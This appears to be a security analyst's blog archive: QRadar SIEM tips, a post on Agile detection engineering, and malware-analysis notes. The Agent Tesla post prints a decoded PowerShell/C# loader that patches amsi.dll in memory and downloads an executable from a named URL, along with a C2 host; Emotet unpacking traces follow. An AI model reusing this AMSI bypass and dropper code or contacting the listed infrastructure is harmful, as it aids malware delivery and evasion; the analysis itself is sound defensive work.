Tuesday, October 6, 2020

70 IBM Qradar SIEM Tips!


Hey for all you #infosec friends stuck with #ibm #qradar just like me, just remember it’s still better than having no #siem at all. Here my contribution to the community, a mega thread of qradar tips to improve your life 



Qradar Tip #1

equals is case sensitive

username equals 'neonprimetime'

will not find 'Neonprimetime'

(notice the capital N)

from the GUI use contains to be case insensitive!

#qradartips  1/N

Qradar Tip #2

avoid using the GUI for filtering

instead teach yourself AQL

use the "Advanced Search" drop down

it's a powerful SQL-like language

that will allow you to performance tune queries

use complex boolean logic

and much more!


#qradartips 2/N

Qradar Tip #3

offenses will get purged after a period of time

configure the retention under system settings

or if it's a major incident use the "Actions->Protect"

to permanently save an offense so it never gets deleted

#qradartips 3/N

Qradar Tip #4

be aware qradar has a max number of offenses it will create

after that it just stops creating them

keep your queue below 2500

notice if one particular alert goes nuts it could prevent your SOC from seeing any new offenses


#qradartips 4/N

Qradar Tip #5

if you always filter on the same property (rules, reports, dashboards, aql) then index that field, if you don't index performance will be terrible (similar to indexing in a SQL db)

check the "Parse in advance for rules, reports, and searches" box

#qradartips 5/N

Qradar Tip #6

qradar coalescing is dangerous, you lose logs! 

(event count > 1)

if event, ip, port & user match it collapses logs into 1 & you only see 1st one so you lose data in other logs like urls, process, etc.

consider disabling


#qradartips 6/N

Qradar Tip #7

reference sets are fast! it's like magic

want to search all 1000s of recent domain names from UrlHaus?

want to search 100s of Emotet C2 ip addresses all at once?

drop them all into a Reference Set & search

you will be surprised how fast it can be

#qradartips 7/N

Qradar Tip #8

the display drop down acts like a "group by"

its a super quick way to get a list of user

or a list of ip addresses

or a list of event names

you don't have to search->edit search, just use the display drop down instead

#qradartips 8/N

Qradar Tip #9

if you are not familiar with qradar 

you may want to search by windows event ids such as 4688

problem is it seems dead slow event if indexed

a faster alernative is to find the QID (qradar id) instead


#qradartips 9a/N

Qradar Tip #9

(continued) ... to find the QID a quick way i found is to click the "false positive" button

the QID will be displayed there

copy & paste it, return and search by QID instead of event id, the search will be indexed and much faster!

#qradartips 9b/N

Qradar Tip #10

performance tip

building new hunts/reports

don't search "last 24 hrs" as every time you update filters it'll re-runs the whole search due to the stop time changing

instead pick a start/end date so data is cached

this speeds up query building

#qradartips 10/N

Qradar Tip #11

if you need to search an unindexed field or use payload contains

1st prime it by running a larger indexed search against the same time frame

then re-run a 2nd search after adding your unindexed field

its actually faster to run 2 searches than 1!

#qradartips 11/N

Qradar Tip #12

if you want your offense to have pretty names such as Mitre Techniques

in rule response "dispatch a new event" with a the pretty name then under offense naming choose "should contribute" or "set or replace" the name

#qradartips 12/N

Qradar Tip #13

if you want qradar to only email you once a day per user for an offense

use the response limiter to configure that

there is a caveat however

if the response limiter is hit tip #12 will stop working and names gets  ugly again 

#qradartips 13/N

Qradar Tip #14

you probably knew that qradar does geo location if you hover over a remote ip

but did you know you can make it do the same thing for RFC 1918 internal private addresses?

just use the Country/Region drop down list on the Network Hierarchy screen

#qradartips 14/N

Qradar Tip #15

threat hunters will love using the QFlow feature

which allows you to display the first several bytes of requests & responses in the netflow / Network Hierarchy tab, real time packet viewing & even write alerts off them


#qradartips 15/N

Qradar Tip #16

did you know you can customize the right-click menu of some fields such as ip address

just modify the xml configuration on the qradar console


you can use the %IP% field for example to pass the IP address to other sites like Virus Total


#qradartips 16/N

Qradar Tip #17

on log activity tab the default columns displayed aren't helpful

instead of going Search->Edit search every single time

you may want fields like URL, process name, etc. to show by default

Do this by editing the column layout, then his Save Criteria

leave it as real time (streaming) then check "Set as Default"

#qradartips 17/N

Qradar Tip #18

you may want a different column layout per objective

example: proxy layout, sysmon layour, antivirus layout

on search->edit search under column definition

choose your columns, enter a custom name and save

now it'll be in the drop down to choose each time

#qradartips 18/N

Qradar Tip #19

vendor app packs can give you solutions quickly

apps can give you pre-built custom fields, rules, and reports

they may require heavy tuning & performance considerations for your environment

but it could be a good starting point

#qradartips 19/N

Qradar Tip #20

log sources create their own fields

problem: u end up w/ multiple fields for same data

ex: proxy url, sysmon url, edr url, waf url

this creates a nightmare for SOC to search

tip: consolidate related custom fields into a single field like 'url'

#qradartips 20/N

Qradar Tip #21

sometimes it's easier in excel or notepad++

if you just want to dump the raw logs to excel

use Actions -> Export to CSV -> Full Export (all columns)

and find the column named 'payloadAsUTF'

now you have the raw logs to mess around with

#qradartips 21/N

Qradar Tip #22

worried about access control?

use the admin -> user roles to limit which screens users can access 

#qradartips 22/N

Qradar Tip #23

want to control who sees which log sources?

use the admin -> security profiles

in conjunction with the log source groups screen

to restrict which users can access which log sources

#qradartips 23/N

Qradar Tip #24

have compliance requirements for log retention?

or have disk space/performance issues?

use the event retention screen to auto purge logs

based on whatever simple or complex query you want!

#qradartips 24/N

Qradar Tip #25

is your assets tab / profiler filled with complete junk?

use the asset profiler configuration -> manage identity exclusions

to exclude those invalid ip addresses, hostnames, mac addresses, etc.

based off saved searches


#qradartips 25/N

Qradar Tip #26

similar to reference sets, sometimes its nice to group certain log sources together for rules and hunts

try using 'log source groups' instead of reference sets or massive "or" statements

example: if a rule only applies to domain controllers, DHCP servers, or your IDS appliances

#qradartips 26/N

Qradar Tip #27

if you have a single system sending multiple log source types

ex: server sends windows events, sql logs, web logs, and app logs

you may notice incorrect parsing, web logs treated as sql, etc.

if so you may need to adjust the Log "Parsing Order"

#qradartips 27/N

Qradar Tip #28

qradar has a built-in rule wizard filter that allows you to monitor when a log source stopped sending logs

this can be helpful for example to monitor critical systems like DCs & get alerted immediately if broken

"event(s) have not been detected"

#qradartips 28/N

Qradar Tip #29

if a log source is in an ERROR or WARN state

clicking into the log will show a RED or YELLOW banner at top indicate the reason for the error

#qradartips 29/N

Qradar Tip #30

only want your alert to fire if something happens multiple times and when certain fields match or mismatch?

use one of the many rule wizard filters for many times with some fields the same and some fields different

#qradartips 30/N

Qradar Tip #31

did you create a dashboard but it defaults to some ugly table/bar chart?

switch to time series, check the "capture time series data" box

then be patient and wait (many hours sometimes) for the data to cache into the graph

now you can time scroll

#qradartips 31/N

Qradar Tip #32

logs coming in as Universal DSM w/ unknown name

unable to search by ip, port, or username?

add a log source extension or custom Dsm

it's just a bunch of regex in XML

it will allow you to parse out those critical fields and make them searchable

#qradartips 32/N

Qradar Tip #33

did you run a long slow search a few hours ago?

do you need the results again but don't want to wait to re-run it?

goto Search -> Manage Search Results

find your search for hours ago

click the "COMPLETED" link

the cached results return instantly!

#qradartips 33/N

Qradar Tip #34

did you make changes such as add a new user, add a log source, add a subnet

but the changes haven't taken effect yet and can't figure out why?

it may be waiting for you to "Deploy Changes" from the admin tab

#qradartips 34/N

Qradar Tip #35

did you know every time you create a dashboard time series or report it's essentially created a database table & storing the data somewhere

you can manage those tables/data including disabling or deleting by going to "Aggregated Data Management"

#qradartips 35/N

Qradar Tip #36

historical quirk to be aware of

i've seen issues with deleting an admin user

if they were the owner of a critical dashboard, rule, report, etc. it could break it

so at least initially its safer to "Disable" a termed user instead of "Delete"

#qradartips 36/N

Qradar Tip #37

are you trying to manipulate the Magnitude to adjust queue priorities?

i don't have good news for your here

"Magnitude calculations are proprietary to QRadar"

using the Magnitude adjustment rules & fields don't seem to make much impact

we use our SOAR platform to prioritize instead


#qradartips 37/N

Qradar Tip #38

be careful after applying updates, DSM or app pack updates, etc.

qradar like to change regexes or disable your custom events properties

when that happens your rules break

monitor the 'last modified date' on custom event properties to find these anomalies

#qradartips 38/N

Qradar Tip #39

qradar actually audits itself!

you can write reports and rules to monitor qradar itself

such as who performed a search, who logged in, who added a user, etc.

#qradartips 39/N

Qradar Tip #40

performance tip

avoid custom event properties for an entire log source type

instead be specific, choose a event name or category for each custom event property to avoid parsing overhead

#qradartips 40/N

Qradar Tip #41

qradar log sources like to break together in groups

a good example is all qradar JDBC connections dropping at once during an update

use the log sources screen and sort by Last Event Time to look for such anomalies

#qradartips 41/N

Qradar Tip #42

getting crushed by EPS, FPS, cpu, or licensing issues?

use the log activity tab, group by log source type, log source, and event name to see the noisest log sources

such as a linux server set to debug syslogging

and start trimming your EPS

#qradartips 42/N

Qradar Tip #43

you can customize the offense close reasons for reporting/metrics purposes

under the actions->close

click the little edit icon (paper & pencil)

#qradartips 43/N

Qradar Tip #44

do you get emailed a report daily? 

do you need an a copy of that report from several days ago but it's no longer in your inbox?

you can go to the reports screens, pull down the generated reports drop down, and find past reports to download

#qradartips 44/N

Qradar Tip #45

is your asset tab important & you can't lose the data?

consider occasionally exporting data (you can re-import later) or do db backups

many times during system/support issues i've seen the assets database get purged and start from scratch

#qradartips 45/N

Qradar Tip #46

event and flow direction are wonderful fields that allow you to identify if traffic is leaving the company, coming in, or traversing laterally based on your network hierarchy

L2L (local to local), L2R (local to remote), R2L (remote to local)

#qradartips 46/N

Qradar Tip #47

in AQL be careful, the like/ilike wildcard is a percent sign (%) , NOT AN ASTERICK!

ilike '%badstuff%'

#qradartips 47/N

Qradar Tip #48

in AQL, 'like' and 'matches' are case sensitive

'ilike' and 'imatches' are case insensitive

ilike '%badstuff%'

imatches '.*(bad|good).*'

#qradartips 48/N

Qradar Tip #49

in AQL more of a regex reminder

but if you're looking for ends with '.exe' for example

if you're using 'ilike' , then do not escape the period

ilike '%.exe'

if you are using imatches then yes you must escape the period

imatches '.*\.exe'

#qradartips 49/N

Qradar Tip #50

in AQL the "in" keyword is nice and saves you a ton of "or" statements

Method in ('POST', 'GET', 'PUT')

#qradartips 50/N

Qradar Tip #51

single tick vs double quote

double quotes go around custom fields/properties like "URL" and "User Agent"

you can avoid double quotes if the custom field has no spaces in it

single ticks go around string constants like 'PUT', 'POST', 'GET' or renaming a column like 'Total'

#qradartips 51/N

Qradar Tip #52

in AQL, N/A = null !

a common mistake i see is people trying to do

username = 'N/A'

that won't work, you must do

username is null

#qradartips 52/N

Qradar Tip #53

AQL tip

sometimes logs/parsing are messed up & for example sourceip = destinationip

include/exclude these anomalies by comparing 2 different fields in AQL!

(you can't do that in the GUI rule wizard or add filter wizard)

sourceip != destinationip

#qradartips 53/N

#qradartips #54

a qradar regex / rule gotcha

qradar seems to strip out certain special characters such as a plus ('+') sign probably to prevent injection attacks

a side effect this has is if you write a regex in a rule with a plus sign

it looks like it disappears (even though it's actually there and the rule works)

#qradartips 54/N

Qradar Tip #55

AQL big performance tip

normally in the GUI if you edit your search it gives you a popup & cancels your 1st search

in AQL, if you hit search, edit your search, hit search again, edit your search, hit search

you just launched multiple searches in parallel!

in AQL hit cancel BEFORE editing your search!

#qradartips 55/N

Qradar Tip #56

AQL performance tip

i prefer where clauses with QID/devicetype/logsourceid over qidname(), logsourcename(), logsourcetypename()

performance seems many times better, especially if you are used to using like/matches

i memorize/have index of the ID numbers and just use them


#qradartips 56a/N

Qradar Tip #56


if i don't know the qid/devicetype/logsourceid but i need it

i again find it faster to run 2 searches than 1

i 1st run a short (last 2 minutes) search to get the ids

then i run a 2nd search using the ids i found

#qradartips 56b/N

Qradar Tip #57

AQL performance tip

my starting point in almost every search is devicetype (aka log source type)

if i need 4688 process creates by nature that search is slow cause it'd search all events (Linux, Firewall, Windows events)

so narrow your search down to the correct devicetype first

#qradartips 57/N

Qradar Tip #58

Dashboard tip

tired of clicking "View log activity" to drill into the details of a graph?

use AQL to build the query w/ CONCAT that shows all the data you need!

select concat(computer, ', ', username, ', ', url) as 'ComputerUsernameSite'

#qradartips 58/N

Qradar Tip #59

AQL tip

count is powerful to indicate how many times something happened

but UNIQUECOUNT() is even better!

it can tell you how many unique users, or ips, processes, or urls were seen

#qradartips 59/N

Qradar Tip #60

Qradar stores multiple time fields

starttime = time qradar received the log

endtime (aka Storage Time) = time qradar finished processing it

devicetime (aka Log Source Time) = time from the actual log


#qradartips 60a/N

Qradar Tip #60


the time stamps are in integer format by default

you can sort them as normal using 'order by' and 'asc' or 'desc'

you can format them to display pretty with 

dateformat(<field>, 'yyyy-MM-dd hh:mm a')


#qradartips 60b/N

Qradar Tip #60


most important is devicetime (when event actually logged)

unfortunately qradar indexes "last 2 hours" & "start/stop" on the starttime field

tip: compare devicetime vs starttime  or starttime vs endtime to find performance issues!

#qradartips 60c/N

Qradar Tip #61

you can use the ever so powerful reference sets in AQL also!

REFERENCESETCONTAINS('reference set name', sourceip)

#qradartips 61/N

Qradar Tip #62

in AQL don't forget if aggregating (COUNT, SUM) to include your "group by" just like any SQL-like language

otherwise query will run but return unexpected results

select sourceip, UNIQUECOUNT(username) as 'Users' from events group by sourceip 

#qradartips 62/N

Qradar Tip #63

sometimes certain fields are stupid long, perhaps legitimately or perhaps due to a parsing issue

you can use the STRLEN() function filter out or eliminate those long noisy fields

#qradartips 63/N

Qradar Tip #64

AQL tip

if you have your network hierarchy admin page configured

you can start searching for odd lateral movement

use the FULLNETWORKNAME() function against ip addresses

such as below seeing a workstation talking to a mobile device

#qradartips 64/N

Qradar Tip #65

AQL tip

you can search for odd connections to countries you don't do business in

use the sourcegeographiclocation and destinationgeographiclocation fields

#qradartips 65/N

Qradar Tip #66

if you expand the "Current Statistics" link on the log screen

it shows interesting stats like how many records were returned, how much data (MB or GB) were searched, and how long it took

#qradartips 66/N

Qradar Tip #67

my plug for AQL. learn it!

Search -> Edit Search is a slow nightmare

anytime you change column layout, add/remove column, sort by, etc. you get full screen refresh

just learn AQL!  

adjust columns, sort/filter w/out leaving the screen!

#qradartips 67/N

Qradar Tip #68

don't forget Qradar has a full API available

just append "/api_doc" to the end of your qradar url instance

start reading up on it

then move to writing your python scripts and get out of the GUI completely

#qradartips 68/N

Qradar Tip #69

you can execute sample API requests right from the GUI

and learn what the CURL statements would look like, etc.

just append '/api_doc' to the end of your url again and drill into the different areas

#qradartips 69/N

Qradar Tip #70

manage who or what can access your API with the "Authorized Services" admin screen

#qradartips 70/N

If you got this far and read all tips, thank you!

I hope this helps you, my #infosec friends, to improve your experience with #ibm #qradar #siem 


Tuesday, September 15, 2020

How we use Agile Scrum for SIEM Detection Engineering and Threat Hunting

Thought I’d share a thread on how we use a form of #Agile Scrum to keep our #SIEM detection engineering and threat hunting organized. #blueteam https://en.wikipedia.org/wiki/Scrum_(software_development) We are responsible for tracking threat intel at our org and use it to build SIEM detections and threat hunt the environment. To track and organize our work and ensure progress we have adopted a form of Agile Scrum. We have stakeholders such as the SOC and CISO who have a stake in the success of the SIEM detections and threat hunting results. We have a scrum master, a member of our team that ensures we are successful, follow process, and leads us day to day. We have the development team that builds detections in the SIEM, and hunts. Thwy make the magic happen. We use github project management to track our story backlog and in-sprint progress. https://github.com/features/project-management/ Our story backlog is full of SIEM detection ideas , known Mitre Technique gaps we need to fill, threat hunt ideas, SOC dashboard ideas, etc. Each story in the backlog has a point value to gauge effort as well as a priority to ensure we get important stuff done first. The story backlog also contains other deliverables such as TableTop excercises, SOC training, management reporting, etc. We can create burn down charts and calculate velocity to gauge metrics on how well we are doing. We can predict future deployment dates for detections based on whats in the backlog and our average velocity. Every 2 weeks we start a new sprint with a planning meeting where we pull the items highest priority items off the backlog ans assign them out. At thua time we also engage the automation team in case any hunts or detections will require SIEM or SOAR customizations. In the planning meeting we consider story size, staff member capacity, stakeholder priorites, etc. Then daily we have a short call/huddle to identify roadblocks or new priorities. At the end of the 2 weeks we have a sprint review where we present new detections, dashboards, documentation to stakeholders like SOC. We use the Palantir Alert and Detection Strategy framework to provide a documented deliverable to SOC for each detection https://medium.com/palantir/alerting-and-detection-strategy-framework-52dc33722df2 After the sprint review the actual deployment to the SIEM occurs which could include adding, updating, or deleting SIEM detections or dashboards. After deployment we have a retrospective where we talk about what went well or didnt to ensure we never make the samw mistake twice. Using Agile creates awareness that #infosec is constantly changing and requires constant freding to ensure youre on top of the latest threats. As you can expect there is an expedited process for critical or emeegency detections. But most work we have found can be planned, built, and tested in the 2 week time frame. For each detection, following Palantir, we define the detection and its purpose, we build it, twst it by actually getting it to fire, and retro hunt each time to ensure we were not already breached. I hope you found this interesting and helpful. #infosec #blueteam

Tuesday, August 4, 2020

Agent Tesla , Doc => Powershell => C# => EXE => SMTP



function funcDecodeNetClassSourceCode {
 for ($i=0; $i -lt $paramEncodedNetClassSourceCode.length; $i+=2){
  $varDecodedChar=[char]($varEncodedHexBytes -bxor $xorKey[($i/2)%$xorKey.length]);
  # write-host ("Encoded: {0} , Decoded: {1}" -f ($varEncodedHexBytes, $varDecodedChar)) # watch every character get xor decoded
 return $varDecodedNetClassSourceCode;
$varEncodedNetClassSourceCode = '06440a5b0118204e104103554842105c085f53641a46125d1e193140084c1a5a061b2f560752115a166b1645155c055d000c16460f561417304c154c165a4d710f5914590c4612511044584015511d5043661f4b07520e1b2f774842105c085f53641a46125d1e192d5012037e3d134004541a5443560a590044434c05014700054e3d7c1f5b2a58165701434b170d5d01590659550a511b265b124a0a670c5c084c4e152450126801580074025c0152104644112e4716570a5110171041074c1a5443501e4c16450d152f5607671747465d460e540105103a591765124a5352060005005f4417470f5614171756500d110f071c5d63375b0f7c0b481c45171d445316450d500a0b41154f70084c014e335a0f56070a41790959177b0a571459014e411c3b4806550f5c0518004302410f5b53521b41034a1d172a5b1268074543475f5d150e551d154c015e0d52464f42535b065e11486c27590a711e470c471210515c0647085d1f0451174a7d1d43114c36571a591708446e1a451740075423450c41035b07154a68164d115b0a56464b0756175c0518164f1750145653550c5a0a1802015a0754595b7e0d41364c01171206525b1704561933711d433341141817565a54505e421b165c084c53515753505b5f581641464d1a591715035d120507544f0328730f592f55035811414e1a3852115b035440054d510a54511b265b124a0a670c5c084c4e1531410a751c41067803551c451a174a6b16432f54154c3645115a140515560f4603112e44175412511017064d125d015943430951171712545e0f4403001d2f560767174746504b550751050e5f7e0d41364c01170000055c121b0a5b121809555b045500171e5845135a1f5e0015154c12430a5646511d43435b000b4456021d4f433a591765124a535d0500570c4e455a500001451f1407040d16524b17570a46565205535b470f5656575e4655411c4f031a514b5f000d420342082f5607671747486216450c1c1d711d43334114181d00540c050516025a02525b5b5d0500570c5f405157535d161f4106540d12065300050b46020104540d4a055201560843020604500c46154a1c5d51151f0d02510110165e7c084c2343111b3c5d01584a4e33711d43334114180253000253055b622a5b126807454a005d4d1a591715175b465157025b08485e051d170e4a0551544e5644005a564a49175454004a080b035319094d07171256535e47004a1c1d7a0a43066e3b18100f0756070508071b065714434f05534a080b0e53485d711d4333411418160f550602053e5611460e591f1922590a57107f2459095a125b4b064f033e5611460e591f19205a16415b545b5105595f074f505e0e40534f064f0302565b02510c101f0d5011183a591765124a5b5954025f5b5d630c7c084c45034b1c4d080b07530404115f525b03555c5f044a0e1b450e4417470f5614171057500b440a265b105101580d58035607192450127e1c5b0750146812430b1d2356055e115a08551659171b354816540a540a7e1c5b07501416324713590f5b12430a5a087c1243021c461353153f69005c400e50575e1a531c4342545a4652061d440d17025104040d43154a0e085d04173450047b1f5e065b12105a19275a11561f58025120511f524b42545a4652061d440911035004510c46020004510d10025204500d41070501050944025105540d45075401040941065a04570d12035a01000840060205560d12075b01050945025a045109120650015e0947035605540d42075004510946020605000d43065604510910025605070911075001560945154a19155a4504541c5d6801580050154b2043024712711d510c151e5b11020508085d04173347095b16441066125901432a5b00575b440103550f5a0c3347095b1644101b354c1245171d1e5b1102051c5d4a164316470818430c1e45135a1f5e0015154c12430a56464b07450a5b011804050100035d5b4417470f56141717505f5b411e1846124a1a590415035d46545b08444b445456535e1a484417470f561417110c035e4a015e1744031558111d0f5607170a085603535e5f41030110054d79035614430b0e0f134e054a4e04410752435053014403000825571d41064712162758214c125d5b43060c050a5d641657154c015e0d524e515f054a19570e5a0c110c035e4a0148084e5b1b56111c4e5d460e54010566165256565e635b5e4c074f1d165256565e163f520d5212502e1e5848145d0742115b464a4a52050c50030e4a';
$varNetClassSourceCode = funcDecodeNetClassSourceCode($varEncodedNetClassSourceCode);
write-host ("Everything Decoded: {0}" -f $varNetClassSourceCode)
# Add-Type -TypeDefinition $varNetClassSourceCode; # add malicious code to this powershell session
# [yc947f]::nf37aa(); # initiate malicious code by calling function within the decoded class

Everything Decoded: using System;using System.Runtime.InteropServices;using System.Diagnostics;using System.IO;using System.N
public class yc947f{[DllImport("kernel32",EntryPoint="GetProcAddress")]public static extern IntPtr e5974c(IntPtr ee5c8,string
 tc65b8d);[DllImport("kernel32",EntryPoint="LoadLibrary")]public static extern IntPtr r9ef96(string w1d838);[DllImport("kerne
l32",EntryPoint="VirtualProtect")]public static extern bool q6922a(IntPtr q34cd35,UIntPtr da9a6f1,uint f4f6c,out uint eea2da)
;[DllImport("Kernel32.dll",EntryPoint="RtlMoveMemory",SetLastError=false)]static extern void qa8774c(IntPtr h8bddc6,IntPtr c5
cda,int zb8138d);public static int nf37aa(){IntPtr jf514=r9ef96(w2b5ee("125a105c485c1f5b"));if(jf514!=IntPtr.Zero){IntPtr n77
9c=e5974c(jf514,w2b5ee("325a105c355b12592140005e1645"));if(n779c!=IntPtr.Zero){UIntPtr qdc75=(UIntPtr)5;uint qc5f47=0;if(q692
2a(n779c,qdc75,0x40,out qc5f47)){Byte[] c8dca={0x31,0xff,0x90};IntPtr e863d=Marshal.AllocHGlobal(3);Marshal.Copy(c8dca,0,e863
d,3);qa8774c(new IntPtr(n779c.ToInt64()+0x001b),e863d,3);}}}string sb637=Environment.GetFolderPath(Environment.SpecialFolder.
ApplicationData) + "\\fd393b8" + w2b5ee("5d521b50");new WebClient().DownloadFile(w2b5ee("1b4317455c175c5116520f4c17520256074b
1219115a494f031a005a084c1659171a1348144502510317155e0f5015171c550a1b034016"),sb637);ProcessStartInfo xcb5f=new ProcessStartIn
fo(sb637);Process.Start(xcb5f);return 0;}public static string w2b5ee(string te9c2){string ee5c8="s7c5f8";string r9ef96="";for
(int i=0; i<te9c2.Length;i+=2){byte e5974c=Convert.ToByte(te9c2.Substring(i,2),16);r9ef96+=(char)(e5974c^ee5c8[(i/2)%ee5c8.Le
ngth]);}return r9ef96;}}



using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Net;
# [yc947f]::nf37aa() # malicious entry point
public class yc947f{
 public static extern IntPtr funcKernel32GetProcAddress(IntPtr paramHandleToDll,string paramLibraryName);
 public static extern IntPtr funcKernel32LoadLibrary(string paramDllName);

 public static extern bool funcKernel32VirtualProtect(IntPtr paramMemoryAddress,UIntPtr paramMemorySize,uint paramNewProtectionValue,out uint paramOldProtectionValue);
 static extern void funcKernel32RtlMoveMemory(IntPtr paramDestinationAddress,IntPtr paramSourceAddress,int paramLengthOfBytes);

 public static int nf37aa(){
  # malicious entry point, patching AMSI Dll and a C# downloader
  string varDllName = funcDecodeString("125a105c485c1f5b");
  Console.WriteLine(String.Format("Dll: {0}", varDllName));
  IntPtr varHandleToDll=funcKernel32LoadLibrary(varDllName);
   string varFunctionName = funcDecodeString("325a105c355b12592140005e1645");
   Console.WriteLine(String.Format("Function: {0}", varFunctionName));
   IntPtr varHandleToFunction=funcKernel32GetProcAddress(varHandleToDll,varFunctionName);
    UIntPtr varMemorySize=(UIntPtr)5;
    uint varOldProtectValue=0;
    if(funcKernel32VirtualProtect(varHandleToFunction,varMemorySize,0x40,out varOldProtectValue)){
     Byte[] var3BytesToCopy={0x31,0xff,0x90};
     IntPtr varHandleToAllocatedMemory=Marshal.AllocHGlobal(3);
     # funcKernel32RtlMoveMemory(new IntPtr(varHandleToFunction.ToInt64()+0x001b),varHandleToAllocatedMemory,3); # overwrite bytes in function
  string varFileName = funcDecodeString("5d521b50");
  Console.WriteLine(String.Format("File: {0}", varFileName));
  string varFileFullPath=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\fd393b8" + varFileName;
  Console.WriteLine(String.Format("Path: {0}", varFileFullPath));
  string varUrl = funcDecodeString("1b4317455c175c5116520f4c17520256074b1219115a494f031a005a084c1659171a1348144502510317155e0f5015171c550a1b034016");
  Console.WriteLine(String.Format("Url: {0}", varUrl));
  new WebClient().DownloadFile(varUrl,varFileFullPath); # download the malware
  ProcessStartInfo varProcessToRun=new ProcessStartInfo(varFileFullPath);
  # Process.Start(varProcessToRun); # run the malware
  return 0;
 public static string funcDecodeString(string paramEncodedString){
  string varXorKey="s7c5f8";
  string varDecodedString="";
  for (int i=0; i<paramEncodedString.Length; i+=2){
   byte varEncodedByte=Convert.ToByte(paramEncodedString.Substring(i,2),16);
  return varDecodedString;

Dll: amsi.dll
Path: C:\Users\Win7\AppData\Roaming\fd393b8.exe
Url: http://fugitdeacasa.ro/wp-content/upgrade/files/obi.exe

Agent Tesla

c2 terminal6.veeblehosting.com
tcp port 587


agent tesla


port 587


Friday, July 31, 2020

Ida Pro Python Save Dump Extract In Memory Unpacked Binary Bin

so i'm going to try in IDA hit SHIFT-F2, select python, type in this code
 filename = AskFile(1, "*.bin", "Output file name")
 address = 0x004015C3
 size = 0x4A3D
 dbgr = False
 with open(filename, "wb") as out:
  data = GetManyBytes(address, size, use_dbg=dbgr)

Wednesday, July 29, 2020

further into the emotet 1st level packer

emotet mfc

my random notes on where i got and what i saw

Go into AfxDlgProc() set breakpoint on
call dword ptr [edx+144h]

step into the call (renamed to subEmotetDecryptor)
 this is likely the start of the Emotet Decryptor

- CDialog::OnInitDialog()
- GetSystemMenu()
- FromHandle()
- subMove1ValuetoEAX()
- call dword ptr [edx+0ch]
- AfxFindStringResourceHandle()
- subFindResource()
-- FindResourceA()
-- localFunction9()
--- LoadResource()
--- LockResource()
--- SizeOfResource()
--- localFunction10() [GetVersionExA, InterlockedExchange]
--- WideCharToMultiByte()
--- localFunction11()
---- call dword ptr [edx+8]
--- localFunction10() [GetVersionExA, InterlockedExchange]
--- WideCharToMultiByte()
--- localFunction6()
- AppendMenuA()
- AppendMenuA()
- "mshta.exe" stack string
- _wcslen()
- subLotsSubCalls1()
- _wcslen()
- subLotsSubCalls1()
- _wcslen()
- subLotsSubCalls1()
- subLotsSubCalls1b()
- subLotsSubCalls1b()
- subLotsSubCalls1b()
- LoadLibraryExW()
- long string "9xgnie40s......"
- subGetApis()
-- LoadLibraryExA()
--- stack string "VirtaAocExNuma"
--- stack string "kerne32.d"
--- LoadLibraryExA()
--- GetProcAddress
--- stack string "taskmgr.exe"
--- LoadLibraryExA()
--- GetCurrentProcess()
--- subFindResourceHandleCallPtr()
--- call ebp (1st unpacked code????)
---- subGetApiIntoEax (LoadLibraryA)
---- subGetApiIntoEax (GetProcAddress)
---- subGetApiIntoEax (VirtualAlloc)
---- subGetApiIntoEax (VirtualProtect)
---- subGetApiIntoEax (ZwFlushInstructionCache)
---- subGetApiIntoEax (GetNativeSystemInfo)
---- call ebx (GetNativeSystemInfo)
---- eax = 4096 (on my machine) - 1 = 4095 <== dwPageSize? size of page used by VirtualAlloc
---- ebx = 53248 (on my machine)
---- ecx = FFF + C200 = D1FF
---- edx = !FFF = FFFFF000
---- eax = eax + ebx = DFFF
---- ecx = ecx & edx = D000
---- eax = eax & edx = D000
---- if eax != ecx [exit]
---- call ebp (VirtualAlloc(null, 53248, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE), returns EAX = 00300000
---- call [esp+5Ch+var_3C] (LoadLibraryA("Kernel32.dll"), returns EAX=76140000
---- call esi (GetProcAddress(7614000, IsProcessorFeaturePresent), returns EAX=76155135
---- loop
----- call [esp+68h+var_2C] (VirtualProtect(0x00301000, 28160, PAGE_EXECUTE_READ)
----- call [esp+68h+var_2C] (VirtualProtect(0x00308000, 512, PAGE_READONLY)
----- call [esp+68h+var_2C] (VirtualProtect(0x00309000, 3072, PAGE_READWRITE)
----- call [esp+68h+var_2C] (VirtualProtect(0x0030B000, 512, PAGE_READONLY)
----- call [esp+68h+var_2C] (VirtualProtect(0x0030C000, 512, PAGE_READONLY)
---- call [esp+64h+var_28] (ZwFlushInstructionCache(0xFFFFFFFF, null, null)
---- call esi (local code debug038:0034244)
----- call localFunction1()
------ ***lots of calls to decryptApi() and many much more code***, i set breakpoints on decryptApi calls, they are below
------ GetProcessHeap(), returns EAX=0x00520000
------ GetModuleHandleA("NTDLL"), returns EAX=77910000
------ RtlAllocateHeap(0x00520000, HEAP_ZERO_MEMORY, 48)
------ GetProcessHeap()
------ RtlAllocateHeap(0x00520000, HEAP_ZERO_MEMORY, 48) <== lots of these, skipping them in the future
------ LoadLibraryW("advapi32.dll"), returns EAX=75D20000
------ GetProcessHeap() <== lots of these, skipping them in the future
------ HeapFree() <== lots of these, skipping them in the future
------ LoadLibraryW("crypt32.dll"), returns EAX=753C0000
------ LoadLibraryW("shell32.dll"), returns EAX=76480000
------ LoadLibraryW("shlwapi.dll"), returns EAX=760B0000
------ LoadLibraryW("urlmon.dll"), returns EAX=750C0000
------ LoadLibraryW("userenv.dll"), returns EAX=76080000
------ LoadLibraryW("wininet.dll"), returns EAX=75680000
------ LoadLibraryW("stsapi32.dll"), returns EAX=74B50000
------ OpenScManagerW(null, null, SC_MANAGER_ALL_ACCESS)
------ CloseServiceHandle()
------ SHGetFolderPathW()
------ GetModuleFileNameW(null) <-- gets full path of this exe
------ PathSkipRootW()
------ PathFindExtensionW()
------ lstrcpynW()
------ GetModuleFileNameW(null)
------ snwprintf()
------ FindFirstFileW("c:\windows\system32\")
------ loop
------- FindNextFileW()
-------  sometimes ==> PathFindExtensionW("12520437.cpx") <-- ran multiple file names, folders, dlls, etc.
------ FindClose()
------ GetCommandLineW()
------ CommandLineToArgW()
------ LocalFree()
------ GetModuleFileNameW(null)
------ CreateFileW("c:\users\win7\desktop\emotet.exe", FILE_READ_ATTRIBUTES, FILE_SHARE_READ) <-- name of this executable
------ GetFileInformationByHandleEx()
------ CloseHandle()
------ GetSystemTimeAsFileTime()
------ OpenScManagerW()
------ OpenServiceW(, "emotet", ) <-- name of current executable, returns NULL because doesn't exist
------ CloseServiceHandle()
------ GetTickCount()
------ lstrcpyW()
------ lstrlenW()
------ GetTickCount()
------ lstrcpyW()
------ lstrlenW()
------ GetCurrentProcessID()
